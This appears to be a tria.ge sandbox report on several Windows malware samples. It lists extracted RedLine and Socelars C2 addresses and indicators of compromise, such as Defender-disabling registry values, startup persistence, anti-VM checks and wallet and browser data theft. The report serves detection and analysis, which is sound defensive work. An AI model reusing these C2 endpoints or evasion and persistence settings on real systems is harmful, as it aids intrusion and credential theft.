Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
201s -
max time network
1200s -
platform
windows11_x64 -
resource
win11 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
redline
media18
91.121.67.60:2151
Signatures
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5840 4936 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1108 4936 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1652 4936 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5168 4936 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6096 4936 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5688 4936 rundll32.exe 12 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
resource yara_rule behavioral22/memory/5128-292-0x0000000000000000-mapping.dmp family_redline behavioral22/memory/5136-295-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral22/memory/5136-293-0x0000000000000000-mapping.dmp family_redline behavioral22/memory/5128-294-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral22/memory/5128-330-0x0000000005040000-0x0000000005658000-memory.dmp family_redline -
Socelars Payload 2 IoCs
resource yara_rule behavioral22/files/0x000100000002b1d0-207.dat family_socelars behavioral22/files/0x000100000002b1d0-223.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 26 IoCs
description pid Process procid_target PID 4880 created 1576 4880 WerFault.exe 81 PID 6020 created 5876 6020 WerFault.exe 131 PID 5948 created 3052 5948 WerFault.exe 113 PID 4048 created 3168 4048 WerFault.exe 106 PID 780 created 4132 780 WerFault.exe 110 PID 3796 created 3188 3796 WerFault.exe 108 PID 5884 created 5696 5884 WerFault.exe 467 PID 924 created 5752 924 WerFault.exe 198 PID 6932 created 6136 6932 WerFault.exe 586 PID 7008 created 3364 7008 WerFault.exe 373 PID 7112 created 5224 7112 WerFault.exe 188 PID 5484 created 5144 5484 WerFault.exe 186 PID 6068 created 2416 6068 Process not Found 207 PID 6164 created 4804 6164 WerFault.exe 202 PID 6232 created 3096 6232 WerFault.exe 342 PID 1176 created 3000 1176 WerFault.exe 297 PID 4108 created 1656 4108 Calculator.exe 204 PID 3176 created 2400 3176 chrome update.exe 327 PID 1524 created 2376 1524 sc.exe 567 PID 6340 created 5564 6340 rundll32.exe 193 PID 7164 created 3892 7164 WerFault.exe 625 PID 4108 created 3648 4108 Calculator.exe 587 PID 6480 created 4480 6480 WerFault.exe 370 PID 6224 created 4044 6224 svchost.exe 480 PID 6764 created 6800 6764 WerFault.exe 277 PID 6508 created 6876 6508 WerFault.exe 305 -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 6584 created 6588 6584 svchost.exe 672 PID 6584 created 6588 6584 svchost.exe 672 PID 6584 created 6732 6584 svchost.exe 271 PID 6584 created 6732 6584 svchost.exe 271 -
Turns off Windows Defender SpyNet reporting 2 TTPs
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
resource yara_rule behavioral22/files/0x000100000002b1c4-153.dat aspack_v212_v242 behavioral22/files/0x000100000002b1c4-156.dat aspack_v212_v242 behavioral22/files/0x000100000002b1c6-159.dat aspack_v212_v242 behavioral22/files/0x000100000002b1c6-160.dat aspack_v212_v242 behavioral22/files/0x000300000002b184-154.dat aspack_v212_v242 behavioral22/files/0x000300000002b184-162.dat aspack_v212_v242 behavioral22/files/0x000300000002b184-161.dat aspack_v212_v242 -
Blocklisted process makes network request 31 IoCs
flow pid Process 81 3684 cmd.exe 82 3684 cmd.exe 86 3684 cmd.exe 89 3684 cmd.exe 91 3684 cmd.exe 93 3684 cmd.exe 110 3684 cmd.exe 112 3684 cmd.exe 117 3684 cmd.exe 116 3684 cmd.exe 120 3684 cmd.exe 121 3684 cmd.exe 125 3684 cmd.exe 126 3684 cmd.exe 129 3684 cmd.exe 130 3684 cmd.exe 134 3684 cmd.exe 137 3684 cmd.exe 165 3684 cmd.exe 166 3684 cmd.exe 169 3684 cmd.exe 170 3684 cmd.exe 172 3684 cmd.exe 174 3684 cmd.exe 203 3684 cmd.exe 207 3684 cmd.exe 259 7012 msiexec.exe 266 2568 powershell.exe 274 7012 msiexec.exe 275 5696 cmd.exe 283 7012 msiexec.exe -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 5056 setup_installer.exe 1576 setup_install.exe 3784 Tue160598ce8b05.exe 4752 Tue16497809b6bd.exe 3796 Tue1607c6ec89.exe 3052 Tue169b8ca3fff9b96f8.exe 4360 Tue1693c6e21a84f1.exe 3684 Tue1695d07d02bff8ff.exe 4132 Tue16752f37c10e89.exe 3168 Tue165ec2d1de4f1ae98.exe 3636 Tue1604aa7d34a61a5b.exe 3188 Tue162f02d7b75a1d.exe 648 Tue166a21bf15ecf0.exe 4064 Tue16937a015b8e.exe 3096 Tue161bd708d12e5.exe 2896 Tue1647cedf7bf133.exe 2280 Tue16937a015b8e.tmp 4596 Tue16937a015b8e.exe 4696 Tue16937a015b8e.tmp 5136 Tue1607c6ec89.exe 5128 Tue1693c6e21a84f1.exe 5476 3677026.exe 5528 fkKCS.exe 5988 3628421.exe 5180 7834874.exe 3928 3551538.exe 3076 3678930.exe 1236 1708477.exe 5220 WerFault.exe 5000 WinHoster.exe 2284 EpyKzbOlbi5kHRidjTHfnWDr.exe 6056 BLXUNH0DWIQ30oaYA9DObv1V.exe 5144 3PTlImJPd3L17DmJiB0YNrSm.exe 4072 5LmBM8BWBgEzYR_tMgJ6AmxQ.exe 1656 kUJgKqZNWY49X2_I1tysGK1i.exe 5976 Conhost.exe 4804 o6xMumEyYNuf2a7Dqj2l0r33.exe 4256 v2kyZHxNbAoqSYVOBqvIQ7w3.exe 3096 Conhost.exe 2568 VZ3iSCfxoTMgk_jd0vhvXyLP.exe 5752 o5XnNgulbZb0ykbkrjwImzZl.exe 3136 lnVaeZE8zGv_bNi1VqiSXJtV.exe 5696 cmd.exe 5044 DJgoaUXmPayrgRS5__0d4d_r.exe 1196 iRrTBjalkH8p5iBY2U8rXPRk.exe 5564 NsEROCCokX4MjeRVjTAeMgsU.exe 5948 FC26.exe 6136 p4U0ePoH2exEuS7eHAnroMLx.exe 3000 Conhost.exe 5952 RI3y29xMdEwDKxT9zRdk4Jvn.exe 5224 RrINyxmfAIH8qSdPxvfU53Bg.exe 3892 KXfj5qcRId9ipGFQtwdnTSSA.exe 5304 iLw9fyr_FwC7qbha07LLQcYq.exe 3364 URgoX3JNgB8wAFH30pgTPoa3.exe 2416 itqGqmvvssszw7Ygz6pNgw6P.exe 2400 powershell.exe 5248 8IcVYfWiyNe1AfZuyQMGq4GD.exe 4064 BzsOV6_VIr1a9SoNkGa5MXG9.exe 2064 UKvz5eOfl1XWdPO4I9RJuOnx.exe 5992 tsocqlXNQ7dLECORHV3WRsA9.exe 3132 LCTCnh3hIT9uabUyLHDAD8H5.exe 976 f41HQUZJLSVgj22dH4X9OAQF.exe 2376 MegogoSell_crypted.exe 4480 Conhost.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 18 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VZ3iSCfxoTMgk_jd0vhvXyLP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 3628421.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion tsocqlXNQ7dLECORHV3WRsA9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 3628421.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7834874.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion tsocqlXNQ7dLECORHV3WRsA9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion RI3y29xMdEwDKxT9zRdk4Jvn.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5LmBM8BWBgEzYR_tMgJ6AmxQ.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion RI3y29xMdEwDKxT9zRdk4Jvn.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VZ3iSCfxoTMgk_jd0vhvXyLP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7834874.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5LmBM8BWBgEzYR_tMgJ6AmxQ.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe yJdBBw31tbQ_kljPsDPD8WtH.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe yJdBBw31tbQ_kljPsDPD8WtH.exe -
Loads dropped DLL 34 IoCs
pid Process 1576 setup_install.exe 1576 setup_install.exe 1576 setup_install.exe 1576 setup_install.exe 1576 setup_install.exe 1576 setup_install.exe 2280 Tue16937a015b8e.tmp 4696 Tue16937a015b8e.tmp 5876 rundll32.exe 3148 msiexec.exe 3148 msiexec.exe 1040 rundll32.exe 2916 rundll32.exe 5844 WGDelgZbuws35ZSdcfMj1nAQ.exe 5844 WGDelgZbuws35ZSdcfMj1nAQ.exe 4176 kPBhgOaGQk.exe 5844 WGDelgZbuws35ZSdcfMj1nAQ.exe 6688 setup.tmp 5844 WGDelgZbuws35ZSdcfMj1nAQ.exe 7012 msiexec.exe 7012 msiexec.exe 5844 WGDelgZbuws35ZSdcfMj1nAQ.exe 7012 msiexec.exe 7012 msiexec.exe 7012 msiexec.exe 4044 614B.exe 7012 msiexec.exe 7012 msiexec.exe 904 Setup.exe 904 Setup.exe 6788 PING.EXE 6788 PING.EXE 6436 01PEMfFJhc8kzgHvGPKn2PgS.exe 6436 01PEMfFJhc8kzgHvGPKn2PgS.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral22/files/0x000700000000cf95-349.dat themida behavioral22/files/0x00030000000155da-359.dat themida -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths yJdBBw31tbQ_kljPsDPD8WtH.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" yJdBBw31tbQ_kljPsDPD8WtH.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe = "0" yJdBBw31tbQ_kljPsDPD8WtH.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0" yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0" yJdBBw31tbQ_kljPsDPD8WtH.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" yJdBBw31tbQ_kljPsDPD8WtH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe = "0" yJdBBw31tbQ_kljPsDPD8WtH.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 3678930.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VZ3iSCfxoTMgk_jd0vhvXyLP.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3628421.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7834874.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA RI3y29xMdEwDKxT9zRdk4Jvn.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA tsocqlXNQ7dLECORHV3WRsA9.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5LmBM8BWBgEzYR_tMgJ6AmxQ.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 55 ipinfo.io 87 ipinfo.io 273 ipinfo.io 30 ip-api.com 30 ipinfo.io 86 ipinfo.io 221 ipinfo.io 222 ipinfo.io 268 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
pid Process 5988 3628421.exe 5180 7834874.exe 5952 RI3y29xMdEwDKxT9zRdk4Jvn.exe 4072 5LmBM8BWBgEzYR_tMgJ6AmxQ.exe 5992 tsocqlXNQ7dLECORHV3WRsA9.exe 2568 VZ3iSCfxoTMgk_jd0vhvXyLP.exe 5948 Process not Found 2128 rundll32.exe -
Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 4360 set thread context of 5128 4360 Tue1693c6e21a84f1.exe 123 PID 3796 set thread context of 5136 3796 WerFault.exe 124 PID 2064 set thread context of 3232 2064 UKvz5eOfl1XWdPO4I9RJuOnx.exe 24 PID 3136 set thread context of 3232 3136 lnVaeZE8zGv_bNi1VqiSXJtV.exe 24 PID 5976 set thread context of 6904 5976 Conhost.exe 249 PID 2376 set thread context of 6668 2376 WerFault.exe 243 PID 5432 set thread context of 4784 5432 cK4RdvKTCc6iDm4hfaOW4Fu8.exe 478 -
Drops file in Program Files directory 16 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe iRrTBjalkH8p5iBY2U8rXPRk.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe iLw9fyr_FwC7qbha07LLQcYq.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini iLw9fyr_FwC7qbha07LLQcYq.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe v2kyZHxNbAoqSYVOBqvIQ7w3.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe iLw9fyr_FwC7qbha07LLQcYq.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe iLw9fyr_FwC7qbha07LLQcYq.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-IS2I4.tmp setup.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-4I5D7.tmp setup.tmp File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe iRrTBjalkH8p5iBY2U8rXPRk.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe v2kyZHxNbAoqSYVOBqvIQ7w3.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-LQ4IQ.tmp setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-N7PVG.tmp setup.tmp -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\System\xxx1.bak f41HQUZJLSVgj22dH4X9OAQF.exe File created C:\Windows\System\svchost.exe f41HQUZJLSVgj22dH4X9OAQF.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\System\svchost.exe f41HQUZJLSVgj22dH4X9OAQF.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 44 IoCs
pid pid_target Process procid_target 5044 1576 WerFault.exe 81 6048 5876 WerFault.exe 131 6084 3052 WerFault.exe 113 5336 3168 WerFault.exe 106 5556 4132 WerFault.exe 110 5664 3188 WerFault.exe 108 1488 5696 WerFault.exe 196 4632 5752 WerFault.exe 198 4160 5224 WerFault.exe 188 6028 3364 WerFault.exe 216 1760 6136 WerFault.exe 191 4140 5144 WerFault.exe 186 7028 4480 WerFault.exe 221 3776 3648 WerFault.exe 231 6684 4044 WerFault.exe 311 6180 6876 WerFault.exe 305 5220 6800 WerFault.exe 277 5636 2208 WerFault.exe 330 2512 6636 WerFault.exe 339 5040 6548 WerFault.exe 337 7532 232 WerFault.exe 338 5816 6848 WerFault.exe 441 6604 760 WerFault.exe 459 1588 5372 WerFault.exe 469 7932 5616 WerFault.exe 329 7540 7896 WerFault.exe 474 8080 4048 WerFault.exe 482 2340 1804 WerFault.exe 494 4552 7988 WerFault.exe 497 1188 7500 WerFault.exe 555 2376 2004 WerFault.exe 509 6120 7600 WerFault.exe 569 3420 7900 WerFault.exe 515 5272 6004 WerFault.exe 538 5688 580 WerFault.exe 605 7000 2844 WerFault.exe 543 7528 580 WerFault.exe 605 2168 1436 WerFault.exe 630 1500 1536 WerFault.exe 662 6252 4508 WerFault.exe 651 6216 4520 WerFault.exe 658 6548 8164 WerFault.exe 664 6148 7208 WerFault.exe 719 1012 7904 WerFault.exe 732 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 09YiuYZ42R21QouIHA7C9O4_.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 09YiuYZ42R21QouIHA7C9O4_.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 09YiuYZ42R21QouIHA7C9O4_.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 